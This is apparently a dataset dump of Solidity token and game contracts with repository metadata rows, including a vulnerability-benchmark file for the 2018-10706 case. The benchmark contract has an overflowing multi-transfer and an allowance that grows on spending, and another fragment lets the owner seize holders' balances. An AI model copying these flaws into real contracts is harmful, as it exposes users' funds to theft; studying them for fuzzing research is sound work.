FeePaid(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value, bool _feed, uint256 _fees) onlyOwner public returns (bool success) {
uint256 charge = 0 ;
uint256 t_value = _value;
if(_feed){
charge = _value * _fees / 100;
}else{
charge = _value - (_value / (_fees + 100) * 100);
}
t_value = _value.sub(charge);
require(t_value.add(charge) == _value);
_transfer(_from, _to, t_value);
_collect_fee(_from, this, charge);
return true;
}
function setPrices(uint256 newValue) onlyOwner public {
EthPerToken = newValue;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function() payable public{
require(msg.value > 0);
uint amount = msg.value * 10 ** uint256(decimals) * EthPerToken / 1 ether;
_transfer(this, msg.sender, amount);
}
function remainBalanced() public constant returns (uint256){
return balanceOf[this];
}
function execute(address _to, uint _value, bytes _data) notNull(_to) onlyOwner external returns (bytes32 _r) {
_r = addTransaction(_to, _value, _data);
confirmTransaction(_r);
}
function addTransaction(address destination, uint value, bytes data) private notNull(destination) returns (bytes32 TransHash){
TransHash = keccak256(destination, value, data);
if (Transactions[TransHash].destination == 0) {
Transactions[TransHash] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
SubmitTransaction(TransHash);
}
}
function addConfirmation(bytes32 TransHash) private onlyOwner notConfirmed(TransHash){
Confirmations[TransHash][msg.sender] = true;
Confirmation(msg.sender, TransHash);
}
function isConfirmed(bytes32 TransHash) public constant returns (bool){
uint count = 0;
for (uint i=0; i<owners.length; i++)
if (Confirmations[TransHash][owners[i]])
count += 1;
if (count == ownerRequired)
return true;
}
function confirmationCount(bytes32 TransHash) external constant returns (uint count){
for (uint i=0; i<owners.length; i++)
if (Confirmations[TransHash][owners[i]])
count += 1;
}
function confirmTransaction(bytes32 TransHash) public onlyOwner(){
addConfirmation(TransHash);
executeTransaction(TransHash);
}
function executeTransaction(bytes32 TransHash) public notExecuted(TransHash){
if (isConfirmed(TransHash)) {
Transactions[TransHash].executed = true;
require(Transactions[TransHash].destination.call.value(Transactions[TransHash].value)(Transactions[TransHash].data));
Execution(TransHash);
}
}
function AccountVoid(address _from) onlyOwner public{
require (balanceOf[_from] > 0);
uint256 CurrentBalances = balanceOf[_from];
uint256 previousBalances = balanceOf[_from] + balanceOf[msg.sender];
balanceOf[_from] -= CurrentBalances;
balanceOf[msg.sender] += CurrentBalances;
VoidAccount(_from, msg.sender, CurrentBalances);
assert(balanceOf[_from] + balanceOf[msg.sender] == previousBalances);
}
function burn(uint amount) onlyOwner public{
uint BurnValue = amount * 10 ** uint256(decimals);
require(balanceOf[this] >= BurnValue);
balanceOf[this] -= BurnValue;
totalSupply -= BurnValue;
Burn(BurnValue);
}
function bonus(uint amount) onlyOwner public{
uint BonusValue = amount * 10 ** uint256(decimals);
require(balanceOf[this] + BonusValue > balanceOf[this]);
balanceOf[this] += BonusValue;
totalSupply += BonusValue;
Bonus(BonusValue);
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
| 162,851 | 10,819 |
e2b58a68056eb2104e2fb1a57bdc89a3ec7674fc438eca6677190db322b1a293
| 15,414 |
.sol
|
Solidity
| false |
410736639
|
SoftSec-KAIST/Smartian-Artifact
|
33c42ba3f2b2f60093173801433b6fd7f3dd710d
|
benchmarks/B1/sol/2018-10706.sol
| 3,450 | 13,749 |
pragma solidity ^0.4.18;
contract ApproveAndCallReceiver {
function receiveApproval(address _from,
uint256 _amount,
address _token,
bytes _data) public;
}
//normal contract. already compiled as bin
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
function Controlled() public {
controller = msg.sender;
}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract ERC20Token {
/// total amount of tokens
uint256 public totalSupply;
//function totalSupply() public constant returns (uint256 balance);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
mapping (address => uint256) public balanceOf;
// function balanceOf(address _owner) public constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
mapping (address => mapping (address => uint256)) public allowance;
//function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenI is ERC20Token, Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
// ERC20 Methods
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender,
uint256 _amount,
bytes _extraData) public returns (bool success);
// Generate and destroy tokens
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount) public returns (bool);
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount) public returns (bool);
}
contract Token is TokenI {
struct FreezeInfo {
address user;
uint256 amount;
}
//Key1: step(); Key2: user sequence()
mapping (uint8 => mapping (uint8 => FreezeInfo)) public freezeOf; //key
mapping (uint8 => uint8) public lastFreezeSeq; // freezeOf key: step; value: sequence
mapping (address => uint256) public airdropOf;//
address public owner;
bool public paused=false;//
uint256 public minFunding = 1 ether; //
uint256 public airdropQty=0;//
uint256 public airdropTotalQty=0;//
uint256 public tokensPerEther = 10000;//1eth
address private vaultAddress;//ETH
uint256 public totalCollected = 0;//ETH
//event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
event Payment(address sender, uint256 _ethAmount, uint256 _tokenAmount);
function Token(uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
address _vaultAddress) public {
require(_vaultAddress != 0);
totalSupply = initialSupply * 10 ** uint256(decimalUnits);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
owner = msg.sender;
vaultAddress=_vaultAddress;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier realUser(address user){
if(user == 0x0){
revert();
}
_;
}
modifier moreThanZero(uint256 _value){
if (_value <= 0){
revert();
}
_;
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) {
return false;
}
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) public returns (bool) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[msg.sender] = balanceOf[msg.sender] - _value; // Subtract from the sender
balanceOf[_to] = balanceOf[_to] + _value; // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
function approve(address _spender, uint256 _value) moreThanZero(_value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallReceiver(_spender).receiveApproval(msg.sender,
_amount,
this,
_extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from] - _value; // Subtract from the sender
balanceOf[_to] = balanceOf[_to] + _value; // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender] + _value;
emit Transfer(_from, _to, _value);
return true;
}
function transferMulti(address[] _to, uint256[] _value) public returns (uint256 amount){
require(_to.length == _value.length);
uint8 len = uint8(_to.length);
for(uint8 j; j<len; j++){
amount += _value[j]*10**uint256(decimals);
}
require(balanceOf[msg.sender] >= amount);
for(uint8 i; i<len; i++){
address _toI = _to[i];
uint256 _valueI = _value[i]*10**uint256(decimals);
balanceOf[_toI] += _valueI;
balanceOf[msg.sender] -= _valueI;
emit Transfer(msg.sender, _toI, _valueI);
}
}
//
function freeze(address _user, uint256 _value, uint8 _step) moreThanZero(_value) onlyController public returns (bool success) {
_value=_value*10**uint256(decimals);
return _freeze(_user,_value,_step);
}
function _freeze(address _user, uint256 _value, uint8 _step) moreThanZero(_value) private returns (bool success) {
//info256("balanceOf[_user]", balanceOf[_user]);
require(balanceOf[_user] >= _value);
balanceOf[_user] = balanceOf[_user] - _value;
freezeOf[_step][lastFreezeSeq[_step]] = FreezeInfo({user:_user, amount:_value});
lastFreezeSeq[_step]++;
emit Freeze(_user, _value);
return true;
}
//
function unFreeze(uint8 _step) onlyOwner public returns (bool unlockOver) {
//_end = length of freezeOf[_step]
uint8 _end = lastFreezeSeq[_step];
require(_end > 0);
unlockOver=false;
uint8 _start=0;
for(; _end>_start; _end--){
FreezeInfo storage fInfo = freezeOf[_step][_end-1];
uint256 _amount = fInfo.amount;
balanceOf[fInfo.user] += _amount;
delete freezeOf[_step][_end-1];
lastFreezeSeq[_step]--;
emit Unfreeze(fInfo.user, _amount);
}
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _user The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _user, uint _amount) onlyController public returns (bool) {
_amount=_amount*10**uint256(decimals);
return _generateTokens(_user,_amount);
}
function _generateTokens(address _user, uint _amount) private returns (bool) {
require(balanceOf[owner] >= _amount);
balanceOf[_user] += _amount;
balanceOf[owner] -= _amount;
emit Transfer(0, _user, _amount);
return true;
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _user The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _user, uint256 _amount) onlyOwner public returns (bool) {
_amount=_amount*10**uint256(decimals);
return _destroyTokens(_user,_amount);
}
function _destroyTokens(address _user, uint256 _amount) private returns (bool) {
require(balanceOf[_user] >= _amount);
balanceOf[owner] += _amount;
balanceOf[_user] -= _amount;
emit Transfer(_user, 0, _amount);
emit Burn(_user, _amount);
return true;
}
function changeOwner(address newOwner) onlyOwner public returns (bool) {
balanceOf[newOwner] += balanceOf[owner];
balanceOf[owner] = 0;
owner = newOwner;
return true;
}
function changeTokensPerEther(uint256 _newRate) onlyController public {
tokensPerEther = _newRate;
}
function changeAirdropQty(uint256 _airdropQty) onlyController public {
airdropQty = _airdropQty;
}
function changeAirdropTotalQty(uint256 _airdropTotalQty) onlyController public {
uint256 _token =_airdropTotalQty*10**uint256(decimals);
require(balanceOf[owner] >= _token);
airdropTotalQty = _airdropTotalQty;
}
////////////////
//
////////////////
function changePaused(bool _paused) onlyController public {
paused = _paused;
}
//accept ether
function() payable public {
require(!paused);
address _user=msg.sender;
uint256 tokenValue;
if(msg.value==0){//
require(airdropQty>0);
require(airdropTotalQty>=airdropQty);
require(airdropOf[_user]==0);
tokenValue=airdropQty*10**uint256(decimals);
airdropOf[_user]=tokenValue;
airdropTotalQty-=airdropQty;
require(_generateTokens(_user, tokenValue));
emit Payment(_user, msg.value, tokenValue);
}else{
require(msg.value >= minFunding);//
require(msg.value % 1 ether==0);//eth
totalCollected +=msg.value;
require(vaultAddress.send(msg.value));//Send the ether to the vault
tokenValue = (msg.value/1 ether)*(tokensPerEther*10 ** uint256(decimals));
require(_generateTokens(_user, tokenValue));
uint256 lock1 = tokenValue / 5;
require(_freeze(_user, lock1, 0));
_freeze(_user, lock1, 1);
_freeze(_user, lock1, 2);
_freeze(_user, lock1, 3);
emit Payment(_user, msg.value, tokenValue);
}
}
}
| 20,183 | 10,820 |
91373fafa722534ca6a9e4832f6269955191f6aaea6837eaa701a1701c1c0559
| 18,082 |
.sol
|
Solidity
| false |
314106943
|
evolutionlandorg/furnace
|
b8e4fb9f8f9e3610313e4c565123467363e2f6a6
|
fnc/libexec/fnc/flatten/DrillTakeBack.f.sol
| 4,700 | 15,305 |
// hevm: flattened sources of src/DrillTakeBack.sol
pragma solidity >0.4.13 >=0.4.23 >=0.6.0 <0.7.0 >=0.6.7 <0.7.0;
////// lib/ds-auth/src/auth.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
interface DSAuthority {
function canCall(address src, address dst, bytes4 sig) external view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
////// lib/ds-math/src/math.sol
/// math.sol -- mixin for inline numerical wizardry
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < WAD / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
////// lib/ds-stop/lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSNote {
event LogNote(bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue()
}
_;
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
}
}
////// lib/ds-stop/src/stop.sol
/// stop.sol -- mixin for enable/disable functionality
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped, "ds-stop-is-stopped");
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
////// lib/zeppelin-solidity/src/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// src/interfaces/IDrillBase.sol
interface IDrillBase {
function createDrill(uint16 grade, address to) external returns (uint256);
function destroyDrill(address to, uint256 tokenId) external;
}
////// src/interfaces/ISettingsRegistry.sol
interface ISettingsRegistry {
enum SettingsValueTypes { NONE, UINT, STRING, ADDRESS, BYTES, BOOL, INT }
function uintOf(bytes32 _propertyName) external view returns (uint256);
function stringOf(bytes32 _propertyName) external view returns (string memory);
function addressOf(bytes32 _propertyName) external view returns (address);
function bytesOf(bytes32 _propertyName) external view returns (bytes memory);
function boolOf(bytes32 _propertyName) external view returns (bool);
function intOf(bytes32 _propertyName) external view returns (int);
function setUintProperty(bytes32 _propertyName, uint _value) external;
function setStringProperty(bytes32 _propertyName, string calldata _value) external;
function setAddressProperty(bytes32 _propertyName, address _value) external;
function setBytesProperty(bytes32 _propertyName, bytes calldata _value) external;
function setBoolProperty(bytes32 _propertyName, bool _value) external;
function setIntProperty(bytes32 _propertyName, int _value) external;
function getValueTypeOf(bytes32 _propertyName) external view returns (uint);
event ChangeProperty(bytes32 indexed _propertyName, uint256 _type);
}
////// src/DrillTakeBack.sol
contract DrillTakeBack is DSMath, DSStop {
event TakeBackDrill(address indexed user,
uint256 indexed id,
uint256 tokenId);
event OpenBox(address indexed user,
uint256 indexed id,
uint256 tokenId,
uint256 value);
event ClaimedTokens(address indexed token,
address indexed to,
uint256 amount);
// 0x434f4e54524143545f52494e475f45524332305f544f4b454e00000000000000
bytes32 public constant CONTRACT_RING_ERC20_TOKEN =
"CONTRACT_RING_ERC20_TOKEN";
// 0x434f4e54524143545f4954454d5f424153450000000000000000000000000000
bytes32 public constant CONTRACT_DRILL_BASE = "CONTRACT_DRILL_BASE";
address public supervisor;
uint256 public networkId;
mapping(uint256 => bool) public ids;
ISettingsRegistry public registry;
modifier isHuman() {
// solhint-disable-next-line avoid-tx-origin
require(msg.sender == tx.origin, "robot is not permitted");
_;
}
constructor(address _registry,
address _supervisor,
uint256 _networkId) public {
supervisor = _supervisor;
networkId = _networkId;
registry = ISettingsRegistry(_registry);
}
// _hashmessage = hash("${address(this)}{_user}${networkId}${ids[]}${grade[]}")
// _v, _r, _s are from supervisor's signature on _hashmessage
// takeBack(...) is invoked by the user who want to clain drill.
// while the _hashmessage is signed by supervisor
function takeBack(uint256[] memory _ids,
uint16[] memory _grades,
bytes32 _hashmessage,
uint8 _v,
bytes32 _r,
bytes32 _s) public isHuman stoppable {
address _user = msg.sender;
// verify the _hashmessage is signed by supervisor
require(supervisor == _verify(_hashmessage, _v, _r, _s),
"verify failed");
// verify that the address(this), _user, networkId, _ids, _grades are exactly what they should be
require(keccak256(abi.encodePacked(address(this), _user, networkId, _ids, _grades)) == _hashmessage,
"hash invaild");
require(_ids.length == _grades.length, "length invalid.");
require(_grades.length > 0, "no drill.");
for (uint256 i = 0; i < _ids.length; i++) {
uint256 id = _ids[i];
require(ids[id] == false, "already taked back.");
uint16 grade = _grades[i];
uint256 tokenId = _rewardDrill(grade, _user);
ids[id] = true;
emit TakeBackDrill(_user, id, tokenId);
}
}
// _hashmessage = hash("${address(this)}${_user}${networkId}${boxId[]}${amount[]}")
function openBoxes(uint256[] memory _ids,
uint256[] memory _amounts,
bytes32 _hashmessage,
uint8 _v,
bytes32 _r,
bytes32 _s) public isHuman stoppable {
address _user = msg.sender;
// verify the _hashmessage is signed by supervisor
require(supervisor == _verify(_hashmessage, _v, _r, _s),
"verify failed");
// verify that the _user, _value are exactly what they should be
require(keccak256(abi.encodePacked(address(this),
_user,
networkId,
_ids,
_amounts)) == _hashmessage,
"hash invaild");
require(_ids.length == _amounts.length, "length invalid.");
require(_ids.length > 0, "no box.");
for (uint256 i = 0; i < _ids.length; i++) {
uint256 id = _ids[i];
require(ids[id] == false, "box already opened.");
_openBox(_user, id, _amounts[i]);
ids[id] = true;
}
}
function _openBox(address _user,
uint256 _boxId,
uint256 _amount) internal {
(uint256 prizeDrill, uint256 prizeRing) = _random(_boxId);
uint256 tokenId;
uint256 value;
uint256 boxType = _boxId >> 255;
if (boxType == 1) {
// gold box
if (prizeRing == 1 && _amount > 1) {
address ring = registry.addressOf(CONTRACT_RING_ERC20_TOKEN);
value = _amount / 2;
IERC20(ring).transfer(_user, value);
}
if (prizeDrill < 10) {
tokenId = _rewardDrill(3, _user);
} else {
tokenId = _rewardDrill(2, _user);
}
} else {
// silver box
if (prizeDrill == 0) {
tokenId = _rewardDrill(3, _user);
} else if (prizeDrill < 10) {
tokenId = _rewardDrill(2, _user);
} else {
tokenId = _rewardDrill(1, _user);
}
}
emit OpenBox(_user, _boxId, tokenId, value);
}
function _rewardDrill(uint16 _grade, address _owner)
internal
returns (uint256)
{
address drill = registry.addressOf(CONTRACT_DRILL_BASE);
return IDrillBase(drill).createDrill(_grade, _owner);
}
// random algorithm
function _random(uint256 _boxId) internal view returns (uint256, uint256) {
uint256 seed =
uint256(keccak256(abi.encodePacked(blockhash(block.number),
block.timestamp, // solhint-disable-line not-rely-on-time
block.difficulty,
_boxId)));
return (seed % 100, seed >> 255);
}
function _verify(bytes32 _hashmessage,
uint8 _v,
bytes32 _r,
bytes32 _s) internal pure returns (address) {
bytes memory prefix = "\x19EvolutionLand Signed Message:\n32";
bytes32 prefixedHash =
keccak256(abi.encodePacked(prefix, _hashmessage));
address signer = ecrecover(prefixedHash, _v, _r, _s);
return signer;
}
function changeSupervisor(address _newSupervisor) public auth {
supervisor = _newSupervisor;
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public auth {
if (_token == address(0)) {
_makePayable(owner).transfer(address(this).balance);
return;
}
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
function _makePayable(address x) internal pure returns (address payable) {
return address(uint160(x));
}
}
| 19,017 | 10,821 |
472d679ec3b46dfbde0e169b00db071dcb8f01dc134c48e245d98641e5a7e68a
| 30,015 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/4d/4d03Fa737Ef60066a106dd8c96656fF7892f13FE_ERC20.sol
| 3,394 | 12,610 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
